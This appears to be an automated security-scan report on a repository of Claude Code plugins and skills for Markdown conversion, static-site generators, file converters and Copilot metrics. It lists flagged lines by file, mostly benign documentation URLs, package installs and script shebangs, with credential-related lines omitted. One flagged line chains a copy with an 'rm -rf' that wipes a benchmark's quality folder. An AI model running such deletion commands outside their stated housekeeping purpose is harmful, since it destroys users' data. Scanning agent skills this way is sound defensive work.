}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/career-productivity/skills/brag-sheet/SKILL.md
- Network accessline 203
- [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)
harness/claude-code/plugins/career-productivity/skills/meeting-minutes/SKILL.md
- Network accessline 67
| Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f - Network accessline 68
| Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu - Network accessline 69
| Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |
harness/claude-code/plugins/cast-imaging/.claude-plugin/plugin.json
harness/claude-code/plugins/chromium-control-canvas/.claude-plugin/plugin.json
harness/claude-code/plugins/clojure-interactive-programming/.claude-plugin/plugin.json
harness/claude-code/plugins/cms-development/.claude-plugin/plugin.json
harness/claude-code/plugins/cms-development/skills/markdown-to-html/SKILL.md
- Network accessline 17
Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno - Network accessline 42
One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`. - Network accessline 69
<p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code><p>paragraph tag</p></code>.</p>
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/basic-markdown-to-html.md
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/basic-markdown.md
- Network accessline 15
 - Network accessline 19
 - Network accessline 48
 - Network accessline 50
> \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1 - Network accessline 51
> When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class - Network accessline 61
 - Network accessline 74
 - Network accessline 76
For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - Network accessline 78
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star - Network accessline 88
 - Network accessline 92
| Color | Syntax | Example | Output - Network accessline 93
| ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ - Network accessline 94
| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | \`</code> | <code>\`rgb(9, 105, 218)\`</code> | \`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | .` - Network accessline 111
 - Network accessline 113
> \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a - Network accessline 114
> GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r - Network accessline 120
 - Network accessline 130
For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5). - Network accessline 255
`` - Network accessline 257
 - Network accessline 293
 - Network accessline 303
 - Network accessline 309
To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested - Network accessline 320
 - Network accessline 322
 - Network accessline 333
 - Network accessline 343
 - Network accessline 345
For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). - Network accessline 352
- [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 353
- [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 357
 - Network accessline 363
For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - Network accessline 367
You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the - Network accessline 374
 - Network accessline 376
When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o - Network accessline 386
For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - Network accessline 390
If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo - Network accessline 402
 - Network accessline 406
For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md). - Network accessline 428
 - Network accessline 460
 - Network accessline 476
 - Network accessline 478
For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash). - Network accessline 487
 - Network accessline 494
*[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) - Network accessline 495
*[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting) - Network accessline 496
*[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/code-blocks-to-html.md
- Network accessline 117
[About writing and formatting on GitHub](https://docs.github.com/...) - Network accessline 121
<a href="https://docs.github.com/...">About writing and formatting on GitHub</a> - Network accessline 129
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 133
<ul> <li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> - Network accessline 134
<li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> </li> - Network accessline 135
<a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/code-blocks.md
- Network accessline 17
 - Network accessline 32
 - Network accessline 58
> \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa - Network accessline 59
> When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin - Network accessline 61
We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find - Network accessline 65
You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with- - Network accessline 69
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 70
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/collapsed-sections.md
- Network accessline 33
 - Network accessline 37
 - Network accessline 47
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 48
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/extended-guide.md
- Network accessline 12
```html <p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 13
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt> - Network accessline 14
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 29
<p><strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 30
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 31
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 180
- [DOMPurify](https://github.com/cure53/DOMPurify) (recommended) - Network accessline 181
- [sanitize-html](https://github.com/apostrophecms/sanitize-html) - Network accessline 182
- [js-xss](https://github.com/leizongmin/js-xss) - Network accessline 206
- Pandoc installed (download from <https://pandoc.org/installing.html>) - Network accessline 402
Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday) - Network accessline 447
# Access at http://localhost:4000 - Network accessline 538
- Hugo installed (download from <https://gohugo.io/installation/>) - Network accessline 553
# Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 554
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 555
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 584
# Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 585
hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 682
- [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 683
- [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 684
- Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 685
- Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 689
- Official documentation: <https://marked.js.org/> - Network accessline 690
- Advanced options: <https://marked.js.org/using_advanced> - Network accessline 691
- Extensibility: <https://marked.js.org/using_pro> - Network accessline 692
- GitHub repository: <https://github.com/markedjs/marked> - Network accessline 696
- Getting started: <https://pandoc.org/getting-started.html> - Network accessline 697
- Official documentation: <https://pandoc.org/MANUAL.html> - Network accessline 698
- Extensibility: <https://pandoc.org/extras.html> - Network accessline 699
- GitHub repository: <https://github.com/jgm/pandoc> - Network accessline 703
- Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown> - Network accessline 704
- Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html> - Network accessline 705
- Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html> - Network accessline 706
- GitHub repository: <https://github.com/gomarkdown/markdown> - Network accessline 710
- Official documentation: <https://jekyllrb.com/docs/> - Network accessline 711
- Configuration options: <https://jekyllrb.com/docs/configuration/options/> - Network accessline 712
- Plugins: <https://jekyllrb.com/docs/plugins/> - Network accessline 713
- [Installation](https://jekyllrb.com/docs/plugins/installation/) - Network accessline 714
- [Generators](https://jekyllrb.com/docs/plugins/generators/) - Network accessline 715
- [Converters](https://jekyllrb.com/docs/plugins/converters/) - Network accessline 716
- [Commands](https://jekyllrb.com/docs/plugins/commands/) - Network accessline 717
- [Tags](https://jekyllrb.com/docs/plugins/tags/) - Network accessline 718
- [Filters](https://jekyllrb.com/docs/plugins/filters/) - Network accessline 719
- [Hooks](https://jekyllrb.com/docs/plugins/hooks/) - Network accessline 720
- GitHub repository: <https://github.com/jekyll/jekyll> - Network accessline 724
- Official documentation: <https://gohugo.io/documentation/> - Network accessline 725
- All Settings: <https://gohugo.io/configuration/all/> - Network accessline 726
- Editor Plugins: <https://gohugo.io/tools/editors/> - Network accessline 727
- GitHub repository: <https://github.com/gohugoio/hugo>
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/gomarkdown.md
- Network accessline 249
- [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown) - Network accessline 250
- [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html) - Network accessline 251
- [GitHub Repository](https://github.com/gomarkdown/markdown) - Network accessline 252
- [CLI Tool](https://github.com/gomarkdown/mdtohtml) - Network accessline 253
- [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/hugo.md
- Dangerous shell operationline 34
sudo apt-get install hugo - Network accessline 36
# Or download from https://gohugo.io/installation/ - Network accessline 48
# Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 49
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 50
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 135
# Basic settings baseURL = 'https://example.com/' - Network accessline 136
baseURL = 'https://example.com/' - Network accessline 390
- [Hugo Documentation](https://gohugo.io/documentation/) - Network accessline 391
- [Hugo Themes](https://themes.gohugo.io/) - Network accessline 392
- [Hugo Discourse](https://discourse.gohugo.io/) - Network accessline 393
- [GitHub Repository](https://github.com/gohugoio/hugo) - Network accessline 394
- [Quick Reference](https://gohugo.io/quick-reference/)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/jekyll.md
- Dangerous shell operationline 28
sudo apt-get install ruby-full build-essential zlib1g-dev - Network accessline 31
# Windows (use RubyInstaller) # Download from https://rubyinstaller.org/ - Network accessline 32
# Download from https://rubyinstaller.org/ - Network accessline 50
# Open http://localhost:4000 - Network accessline 116
description: A great blog baseurl: "" url: "https://example.com" - Network accessline 118
url: "https://example.com" - Network accessline 317
- [Jekyll Documentation](https://jekyllrb.com/docs/) - Network accessline 318
- [Liquid Template Language](https://shopify.github.io/liquid/) - Network accessline 319
- [Kramdown Documentation](https://kramdown.gettalong.org/) - Network accessline 320
- [GitHub Repository](https://github.com/jekyll/jekyll) - Network accessline 321
- [Jekyll Themes](https://jekyllthemes.io/)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/marked.md
- Network accessline 33
<script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/pandoc.md
- Network accessline 16
# Or download installer from https://pandoc.org/installing.html - Dangerous shell operationline 30
sudo apt-get install pandoc - Dangerous shell operationline 33
sudo dnf install pandoc - Network accessline 35
# Or download from https://pandoc.org/installing.html - Network accessline 223
- [Pandoc User's Guide](https://pandoc.org/MANUAL.html) - Network accessline 224
- [Pandoc Demos](https://pandoc.org/demos.html) - Network accessline 225
- [Pandoc FAQ](https://pandoc.org/faqs.html) - Network accessline 226
- [GitHub Repository](https://github.com/jgm/pandoc)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/tables.md
- Network accessline 17
 - Network accessline 30
 - Network accessline 32
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started - Network accessline 36
You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table: - Network accessline 45
 - Network accessline 56
 - Network accessline 67
 - Network accessline 71
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 72
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md
- Network accessline 14
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 15
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 45
<p>This sentence uses <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 46
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mo>‘</mo> - Network accessline 47
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 54
</math-renderer> delimiters to show math inline: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 55
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 56
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 92
<strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 93
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 94
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 176
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 177
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 252
<p>The equation <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 253
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 283
<p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 317
<code>\$</code> to display a dollar sign: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 318
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 319
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 339
<span>$</span>100 in half, we calculate <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 340
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mn>100</mn> - Network accessline 341
<math xmlns="http://www.w3.org/1998/Math/MathML">
harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions.md
- Network accessline 7
To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. - Network accessline 9
GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati - Network accessline 15
There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta - Network accessline 21
 - Network accessline 27
 - Network accessline 70
 - Network accessline 74
* [The MathJax website](http://mathjax.org) - Network accessline 75
* [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) - Network accessline 76
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
harness/claude-code/plugins/code-quality-refactoring/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/code-quality-refactoring/skills/em-dash/SKILL.md
- Network accessline 109
- [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash) - Network accessline 110
- [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/) - Network accessline 111
- [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/) - Network accessline 112
- [em dash wikipedia](https://en.wikipedia.org/wiki/Dash) - Network accessline 113
- [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc) - Network accessline 114
- [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash) - Network accessline 115
- [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html) - Network accessline 116
- [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2) - Network accessline 117
- [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml) - Network accessline 118
- [Punctuation Guide](https://www.thepunctuationguide.com/)
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/LICENSE.txt
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md
- Network accessline 11
metadata: author: Andrew Stellman github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 12
author: Andrew Stellman github: "https://github.com/andrewstellman/quality-playbook" version: 1.5.6 - Network accessline 13
github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 57
> Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook - Network accessline 58
> https://github.com/andrewstellman/quality-playbook - Network accessline 257
- https://github.com/andrewstellman/quality-playbook
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/calibration_orchestrator.md
- Dangerous shell operationline 99
3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook-claude.agent.md
- Network accessline 58
**If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook.agent.md
- Network accessline 54
> The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/quality_gate.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/references/extended-guide.md
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/references/review_protocols.md
- Access to secretsline 425
[Credential-related source omitted]
harness/claude-code/plugins/codebase-blueprints/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md
- Network accessline 46
- What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)
harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/scripts/scan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/color-orb/.claude-plugin/plugin.json
harness/claude-code/plugins/context-engineering/.claude-plugin/plugin.json
harness/claude-code/plugins/context-matic/.claude-plugin/plugin.json
- Network accessline 7
"email": "developer@apimatic.io" }, "homepage": "https://www.apimatic.io", - Network accessline 8
}, "homepage": "https://www.apimatic.io", "repository": "https://github.com/github/awesome-copilot", - Network accessline 9
"homepage": "https://www.apimatic.io", - Network accessline 10
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/convert-to-md/.claude-plugin/plugin.json
- Network accessline 5
"author": { "name": "Willie Yao", "url": "https://github.com/1YaoWei0" - Network accessline 6
"name": "Willie Yao", "url": "https://github.com/1YaoWei0" }, - Network accessline 7
"url": "https://github.com/1YaoWei0" - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/scripts/convert_excel_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 64
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 65
_MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 66
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 67
_A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"
harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/scripts/convert_word_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 53
_W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 54
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 55
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
harness/claude-code/plugins/copilot-customization-authoring/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/references/security-installation.md
- Access to secretsline 18
[Credential-related source omitted]
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/inventory_skills.py
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/project_profile.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/render_stack_card.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 80
parts = [ f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">', - Network accessline 81
f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/skill_index.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/stage_install.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md
- Network accessline 26
This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`. - Network accessline 99
- [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth. - Network accessline 108
- [John Papa](https://github.com/johnpapa) - Network accessline 109
- [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md
- Network accessline 164
> Getting started is easy! Here's how: >- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 165
>- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` >- **Requires:** A GitHub Copilot subscrip - Network accessline 166
>- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 167
>- **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot)) - Network accessline 197
- **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/references/extended-guide.md
- Network accessline 465
• /model — try different AI models • /mcp — extend with MCP servers • https://docs.github.com/copilot — official docs - Network accessline 467
• https://docs.github.com/copilot — official docs - Network accessline 485
• Try the Developer track for deeper skills • /help — see ALL available commands • https://docs.github.com/copilot — official docs - Network accessline 487
• https://docs.github.com/copilot — official docs - Network accessline 496
1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy - Network accessline 545
### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Network accessline 546
- Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands - Network accessline 547
- Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
